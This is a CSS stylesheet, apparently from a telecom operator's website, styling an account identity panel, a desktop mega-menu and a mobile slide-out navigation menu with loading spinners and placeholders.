.identity-panel .user-details .full-name { flex-grow: 1; font-weight: 700; font-size: 1.125em; line-height: 1.33333em; text-align: left; }

.identity-panel .user-details .details { font-size: 0.875em; flex-grow: 1; text-align: left; display: flex; flex-direction: column; gap: 0.5em; }

.identity-panel ul { list-style-type: none; padding: 0px; margin: 0px; }

.identity-panel ul li { padding: 0px; margin: 0px; }

@media screen and (max-width: 48em) {
  .identity-panel .top-links { padding: 0px 1.25em; margin-top: 0.625em; }
}

.identity-panel .top-links .top-link a { font-size: 0.875em; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); padding: 1.07143em; display: block; line-height: 1.85714em; min-height: 1.85714em; box-sizing: content-box; text-align: center; }

.identity-panel .top-links .top-link a:hover, .identity-panel .top-links .top-link a:focus { background-color: rgb(85, 85, 85); text-decoration: none; }

.identity-panel .top-links .top-sub-link a { font-size: 0.875em; display: flex; justify-content: center; background-color: rgba(0, 0, 0, 0); color: rgb(0, 0, 0); margin: 1.07143em; padding: 0.357143em; font-weight: bold; min-height: 1em; line-height: 1em; text-decoration: underline; }

.identity-panel .top-links .top-sub-link a:hover, .identity-panel .top-links .top-sub-link a:focus { color: rgb(85, 85, 85); text-decoration: underline; }

.identity-panel .elements { display: flex; flex-direction: column; text-align: start; gap: 0.9375em; }

.identity-panel .elements .element a, .identity-panel .elements .sub-element a { font-size: 0.875em; position: relative; width: 100%; padding: 0.357143em; color: rgb(0, 0, 0); font-weight: bold; }

.identity-panel .elements .element a.icon.arrow-right::before, .identity-panel .elements .sub-element a.icon.arrow-right::before { font-size: 1.14286em; color: rgb(241, 110, 0); position: absolute; right: 0px; margin-right: 0px; }

.identity-panel .elements .element a.icon::before, .identity-panel .elements .sub-element a.icon::before { margin-right: 0.428571em; }

.identity-panel .elements .element a:hover, .identity-panel .elements .element a:focus, .identity-panel .elements .sub-element a:hover, .identity-panel .elements .sub-element a:focus { color: rgb(85, 85, 85); text-decoration: underline; }

.identity-panel .elements .element + .sub-element { margin-top: 0.625em; }

.identity-panel .loading { height: 200px; position: relative; min-height: 44.4px; }

@keyframes loading {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

.identity-panel .loading::after { content: &quot;&quot;; position: absolute; top: 50%; left: 50%; margin-top: -18.5px; margin-left: -18.5px; width: 37px; height: 37px; border-radius: 50%; border-width: 4px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgb(241, 110, 0) rgb(241, 110, 0); border-image: none; animation: 2s linear infinite loading; }

.identity-panel .bottom-separator { border-bottom: 1px solid rgb(204, 204, 204); margin: 0.625em 0px; }

.identity-panel .bottom-links { display: flex; flex-direction: column; justify-items: flex-start; gap: 0.9375em; }

@media screen and (max-width: 48em) {
  .identity-panel .bottom-links { padding-bottom: 7.5em; }
}

.identity-panel .bottom-links li a { font-size: 0.875em; background: none; min-height: 1.42857em; color: rgb(0, 0, 0); text-align: left; padding: 0.357143em; display: block; }

.identity-panel .bottom-links li a::before { margin-right: 8px; font-size: 1.14286em; vertical-align: baseline; }

.identity-panel .bottom-links li a:hover, .identity-panel .bottom-links li a:active { color: rgb(85, 85, 85); }

.identity-panel .bottom-links li a:hover::before, .identity-panel .bottom-links li a:hover i, .identity-panel .bottom-links li a:active::before, .identity-panel .bottom-links li a:active i { opacity: 0.6; }

.content-overflow-wrapper { height: 1px; min-height: 100%; }

.content-overflow-wrapper .identity-panel { height: 100%; }

.band.ruban.gp .identity-layer .popin { padding: 1.5625em; }

.band.ruban.sosh .identity-layer .identity-panel { min-width: 17.5em; }

@media (max-width: 48em) {
  .band.ruban.sosh .identity-layer .identity-panel { flex-grow: 1; }
}

.band.ruban.sosh .identity-layer .popin { min-height: 10.3125em; padding: 1.875em; display: flex; justify-content: center; }

.band.ruban.sosh .identity-layer .popin .user-details { display: none; }

@media (max-width: 64em) {
  .band.ruban.sosh .identity-layer .popin .user-details { display: flex; }
  .band.ruban.sosh .identity-layer .popin .user-details .full-name { text-align: center; }
  .band.ruban.sosh .identity-layer .popin .user-details .details { display: none; }
}

.band.ruban.sosh .identity-layer .popin .bottom-separator { display: none; }

.band.ruban.sosh .identity-layer .popin a.icon { display: flex; align-items: center; }

.band.ruban.sosh .identity-layer .popin a.icon::before { font-size: 1.875em; }

.band.ruban.sosh .identity-layer .popin a.icon.arrow-right::before { font-size: 1.625em; color: rgb(222, 37, 84); }

.band.ruban.sosh .identity-layer .popin a { outline-color: rgb(222, 37, 84) !important; outline-style: none; outline-width: medium; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; }

.band.ruban.sosh .identity-layer .popin a:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; }

.band.ruban.sosh .identity-layer .popin .top-links { display: flex; flex-direction: column; gap: 1.25em; }

.band.ruban.sosh .identity-layer .popin .top-links a { display: inline-flex; font-size: inherit; font-weight: 700; color: rgb(255, 255, 255); background: rgb(222, 37, 84); margin: 0px auto; padding: 0.875em 2.1875em; border-radius: 0.1875em; }

.band.ruban.sosh .identity-layer .popin .top-links a:hover { background: rgb(0, 0, 0); color: rgb(255, 255, 255); text-decoration: none; }

.band.ruban.sosh .identity-layer .popin .bottom-links { align-items: center; }

.band.ruban.sosh .identity-layer .popin .bottom-links a.icon { position: relative; padding: 0.3125em 0.3125em 0.3125em 2.25em; }

.band.ruban.sosh .identity-layer .popin .bottom-links a.icon::before { position: absolute; left: 0px; }

.band.ruban.sosh .identity-layer .popin .bottom-links a.icon:hover::before, .band.ruban.sosh .identity-layer .popin .bottom-links a.icon:focus-visible::before { opacity: 1; }

.gp .skeleton.mega-menu { width: 9.375em; height: 1.875em; }

@media (max-width: 71.875em) {
  .gp .skeleton.mega-menu { width: 5.375em; height: 3.125em; }
}

.gp .desktop-navigation-content .skeleton.mega-menu { flex-basis: initial; }

.sosh .skeleton.mega-menu { width: 6.25em; height: 1.25em; }

.navigation { display: flex; position: relative; padding-top: 0px; padding-bottom: 0px; align-items: end; }

.navigation.gp { border-bottom: 1px solid rgb(85, 85, 85); }

.navigation.gp .logo { display: none !important; }

.navigation.gp.visible-sticky .logo { display: flex !important; }

@media (max-width: 64em) {
  .navigation.gp .logo { display: none !important; }
}

.navigation.gp .content { border-top: 0.05625em solid rgb(85, 85, 85); }

.navigation.sosh { background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); border-bottom: 1px solid rgb(204, 204, 204); min-height: 51px; align-items: center; z-index: 1; overflow: hidden; }

.navigation.sosh .desktop-navigation-content { display: flex; border-top: medium; }

.navigation.sosh:has(.hidden-dropdown[aria-expanded=&quot;true&quot;]) { overflow: visible; }

.navigation.sosh .events { display: flex; }

.navigation.sosh .events .event { width: max-content; margin: 0px 0px auto !important; }

.navigation.sosh .events .event span { font-weight: 700; }

.navigation.sosh .events .event .icon.double-underline { color: rgb(222, 37, 84); font-size: 4.0625em; position: absolute; left: -1.53846em; bottom: 0px; right: -1.53846em; height: 0.307692em; pointer-events: none; }

.navigation.sosh .mobile-navigation-content { top: 0px !important; border: medium !important; width: 16.875em !important; }

.navigation.sosh .logo { display: none; }

.navigation.sosh.visible-sticky .logo { display: flex !important; }

@media (max-width: 64em) {
  .navigation.sosh .logo { display: flex !important; }
}

.sticky-ghost { background-color: rgb(0, 0, 0); min-height: 0px; width: 100%; }

.gp.navigation { min-height: 3.25em; position: relative; padding-top: 0px; padding-bottom: 0px; align-items: stretch; }

.gp.navigation.visible-sticky { position: fixed !important; z-index: 10000000; top: 0px; }

.gp.navigation.visible-sticky + .sticky-ghost { min-height: 3.125em; }

@media (max-width: 64em) {
  .gp.navigation { min-height: 0px; }
}

.gp.navigation .desktop-navigation-content { display: flex; gap: 0.9375em; width: 100%; border-top: 0.05625em solid rgb(85, 85, 85); }

.gp.navigation .desktop-navigation-content .mega-menu { position: static; display: flex; flex-shrink: 1; }

.gp.navigation .desktop-navigation-content .mega-menu a { font-size: 0.875em; }

.gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button { display: flex; flex-shrink: 1; font-size: 0.875em; line-height: 1em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel { display: none; border-top: 1px solid rgb(85, 85, 85); padding-top: 0px; padding-bottom: 0px; box-sizing: border-box; min-height: 29.375em; position: absolute; left: 0px; right: 0px; top: 100%; background-color: rgb(0, 0, 0); }

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel { min-height: 21.875em; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { display: flex; flex-direction: column; flex-shrink: 0; padding-top: 1.875em; padding-bottom: 1.875em; width: 20%; border-right: 1px solid rgb(85, 85, 85); max-height: calc(100vh - var(--top-offset) - 1.875em - 1.875em); overflow-y: auto; }

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { padding-top: 0.625em; padding-bottom: 0.625em; }
}

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone { max-height: calc(100vh - var(--top-offset) - .625em - .625em); }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links { display: flex; flex-direction: column; margin-bottom: auto; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link { font-size: 0.875em; display: flex; padding: 1em 0.714286em; font-weight: bold; margin: 0px; height: auto; width: 100%; min-height: 2.85714em; box-sizing: border-box; align-items: center; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link { padding: 0.714286em; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link .icon::before { font-size: 1.5em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:last-of-type { margin-bottom: auto; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.icon.after.arrow-right::after { visibility: hidden; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-selected, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-preselected { color: rgb(241, 110, 0); background: rgba(255, 255, 255, 0.08); }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-selected.icon.after.arrow-right::after, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link.is-preselected.icon.after.arrow-right::after { visibility: visible; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:hover, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus, .gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .section-links .section-link:focus-visible { background: rgba(255, 255, 255, 0.08); text-decoration: none; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .bottom-links { display: flex; margin-top: 1.5em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .selector-zone .bottom-links a { padding: 1em 0.714286em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels { position: relative; flex-grow: 1; display: flex; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel { display: none; flex-direction: column; max-height: calc(100vh - var(--top-offset)); overflow: hidden auto; top: 0px; right: 0px; flex-grow: 0; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel.is-selected { display: flex; width: auto; flex-grow: 1; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel.is-selected .section-top { flex-grow: 1; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { display: flex; flex-direction: row; gap: 1.875em; width: auto; padding: 1.875em 1.875em 0.625em; }

@media screen and (max-width: 80em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { padding-right: 0px; }
}

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top { padding-top: 0.625em; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid { --nb-columns: 3; display: grid; gap: 0.75em 1.875em; grid-auto-rows: min-content; grid-template-columns: repeat(var(--nb-columns), 1fr); flex-grow: 1; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid h3.category-title { grid-row: 1; font-size: 0.875em; margin-bottom: 0px; margin-top: 1em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list { grid-row: 2; list-style-type: none; margin: 0px; padding: 0px; display: flex; flex-direction: column; }

@media (max-height: 40.625em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list { gap: 0px; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list li a { padding-top: 0.5em; padding-bottom: 0.625em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .category-grid ul.category-list li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: &quot;NEW&quot;; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder { margin-left: auto; margin-top: 1.3125em; font-size: 1em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder { flex-grow: 0; flex-shrink: 0; width: 16.875em; height: 22.5em; background-color: rgba(255, 255, 255, 0.08); }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img::before, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder::before { display: none; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation img.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder img.error, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder.error { border: medium; background-color: rgba(255, 255, 255, 0.08); opacity: 0.07; object-fit: cover; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation .image-placeholder, .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .section-top .animation-placeholder .image-placeholder { visibility: hidden; opacity: 0; height: 18.75em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links { margin-top: auto; display: flex; gap: 1.25em; flex-wrap: wrap; padding-bottom: 2.5em; padding-left: 1.875em; padding-right: 1.875em; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links a::before { margin-right: 0.3125em; }

@media screen and (max-width: 80em) {
  .gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .section-panel .exit-links { padding-right: 0px; }
}

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button { position: absolute; top: 0px; right: -2em; width: 2em; height: 2em; line-height: 2em; text-align: center; cursor: pointer; background-color: rgba(0, 0, 0, 0); border: medium; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .desktop-navigation-content .mega-menu > .panel .section-panels .close-button::before { font-size: 1.25em; color: rgb(255, 255, 255); }

.gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-preselected, .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected { position: relative; }

.gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-preselected::after, .gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected::after { content: &quot;&quot;; display: block; position: absolute; left: 0.3125em; right: 0.3125em; bottom: -0.75em; height: 0.25em; background-color: rgb(241, 110, 0); z-index: 999; }

.gp.navigation .desktop-navigation-content .mega-menu .mega-menu-button.is-selected + .panel { display: flex; }

.gp.navigation .desktop-navigation-content .mega-menu-button:hover { color: rgb(204, 204, 204); }

.gp.navigation .desktop-navigation-content .events { margin-right: auto; display: flex; }

@media screen and (max-width: 64em) {
  .gp.navigation .desktop-navigation-content .events { flex-direction: column; }
}

.gp.navigation .desktop-navigation-content .events > .event { padding: 0.3125em; font-size: 0.875em; color: rgb(241, 110, 0); }

.gp.navigation .desktop-navigation-content .events > .event:hover, .gp.navigation .desktop-navigation-content .events > .event:focus, .gp.navigation .desktop-navigation-content .events > .event:focus-visible { color: rgb(255, 255, 255); }

.gp.navigation .desktop-navigation-content .events > .event span { display: inline-block; font-size: 1em; min-height: 1em; line-height: 1em; }

.gp.navigation .desktop-navigation-content ul, .gp.navigation .desktop-navigation-content ul > li { list-style-type: none; margin: 0px; padding: 0px; display: flex; gap: inherit; }

@media (max-width: 71.875em) {
  .gp.navigation .desktop-navigation-content > ul { flex-basis: min-content; }
}

.gp.navigation .desktop-navigation-content > a, .gp.navigation .desktop-navigation-content > div > a, .gp.navigation .desktop-navigation-content > ul > li > a, .gp.navigation .desktop-navigation-content button.as-link { display: flex; padding: 0.357143em; font-weight: bold; box-sizing: border-box; margin-top: 0.625em; margin-bottom: 0.625em; height: calc(100% - 1.25em); align-items: center; color: rgb(255, 255, 255); outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .desktop-navigation-content > a:hover, .gp.navigation .desktop-navigation-content > a:focus, .gp.navigation .desktop-navigation-content > a:focus-visible, .gp.navigation .desktop-navigation-content > div > a:hover, .gp.navigation .desktop-navigation-content > div > a:focus, .gp.navigation .desktop-navigation-content > div > a:focus-visible, .gp.navigation .desktop-navigation-content > ul > li > a:hover, .gp.navigation .desktop-navigation-content > ul > li > a:focus, .gp.navigation .desktop-navigation-content > ul > li > a:focus-visible, .gp.navigation .desktop-navigation-content button.as-link:hover, .gp.navigation .desktop-navigation-content button.as-link:focus, .gp.navigation .desktop-navigation-content button.as-link:focus-visible { text-decoration: none; }

.gp.navigation .desktop-navigation-content > a:focus-visible, .gp.navigation .desktop-navigation-content > div > a:focus-visible, .gp.navigation .desktop-navigation-content > ul > li > a:focus-visible, .gp.navigation .desktop-navigation-content button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.gp.navigation .mobile-navigation-menu ul { list-style: none; padding: 0px; margin: 0px; }

.gp.navigation .mobile-navigation-menu:not(.is-open) * { display: none; }

.gp.navigation .mobile-navigation-menu.is-open .mobile-navigation-content { transform: translateX(0px); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content { display: flex; transform: translateX(-100%); transition: transform 0.3s; position: fixed; top: var(--top-offset); bottom: 0px; background-color: rgb(20, 20, 20); border-right: 1px solid rgb(85, 85, 85); color: rgb(255, 255, 255); z-index: 99980; left: 0px; width: 22.5em; overflow: hidden; }

@media screen and (max-width: 30em) {
  .gp.navigation .mobile-navigation-menu .mobile-navigation-content { width: 100%; }
}

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel { flex: 0 0 100%; overflow-y: auto; transition: transform 0.3s; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel > * { display: block; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel a { font-size: 0.875em; padding: 1.07143em; font-weight: 700; text-decoration: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back { display: flex; padding: 0.9375em; border-bottom: 1px solid rgb(85, 85, 85); outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back::before { font-size: 1.25em; transform: rotate(180deg); color: rgb(241, 110, 0); padding-right: 0.3125em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .title { display: block; font-size: 0.875em; font-weight: 700; padding: 1.07143em; color: rgb(241, 110, 0); border-bottom: 1px solid rgb(85, 85, 85); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-1, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 { display: flex; flex: 0 0 100%; overflow: hidden auto; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2 .level-panel { transform: translateX(-100%); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 .level-panel { transform: translateX(-200%); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links { background-color: rgb(0, 0, 0); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a { border-top: 1px solid rgb(85, 85, 85); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a.icon::before { font-size: 1.42857em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher { display: flex; flex-wrap: wrap; justify-content: space-around; gap: 0.9375em; padding: 0.9375em; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(51, 51, 51); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { display: flex; padding: 0.9375em; box-sizing: border-box; width: calc(50% - 0.9375em); align-items: center; justify-content: left; border: 1px solid rgb(51, 51, 51); }

@media (max-width: 20.3125em) {
  .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { width: 100%; }
}

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * > i.icon { font-size: 1.2em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { display: flex; padding: 0.357143em; margin: 0.714286em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { margin-right: auto; display: flex; }

@media screen and (max-width: 64em) {
  .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { flex-direction: column; }
}

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event { padding: 0.3125em; font-size: 0.875em; color: rgb(241, 110, 0); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus-visible { color: rgb(255, 255, 255); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event span { display: inline-block; font-size: 1em; min-height: 1em; line-height: 1em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { background-color: rgb(0, 0, 0); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events .event { border-top: 1px solid rgb(85, 85, 85); font-size: 1em; padding: 0.875em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { gap: 6px; position: relative; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .icon::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .icon::before { margin-top: 3px; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .badge, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .badge { right: unset; transform: scale(0.85); top: 0.5em; left: 1.5em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel { display: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel.is-selected { display: unset; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link { border-bottom: 1px solid rgb(85, 85, 85); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link .icon { font-size: 1.5em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .bottom-link { padding: 0.9375em; display: flex; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel { display: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel.is-selected { display: unset; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category { border-bottom: 1px solid rgb(85, 85, 85); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category h3 { margin: 0px; font-size: 0.875em; padding: 0.9375em; font-weight: 700; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul { margin: 0px; padding: 0px; list-style-type: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a { font-weight: normal; padding: 0.75em 0.9375em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: &quot;NEW&quot;; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content { background-color: rgb(255, 255, 255); display: flex; flex-direction: column; width: 100%; overflow-y: auto; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header { display: flex; height: 3.75em; background: rgb(38, 130, 142); justify-content: space-between; align-items: center; padding: 0px 0.9375em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header * { color: rgb(255, 255, 255); outline: none; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header :focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close { display: flex; align-items: center; justify-content: center; height: 2.5em; font-weight: 700; padding: 0px 0.375em 0px 2.1875em; border: 0px; background: none; position: relative; cursor: pointer; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { position: absolute; top: 50%; left: 0.9375em; width: 0.125em; height: 1.5625em; content: &quot; &quot;; background-color: rgb(255, 255, 255); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before { transform: translateY(-50%) rotate(45deg); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { transform: translateY(-50%) rotate(-45deg); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::after { color: rgb(238, 238, 238); }

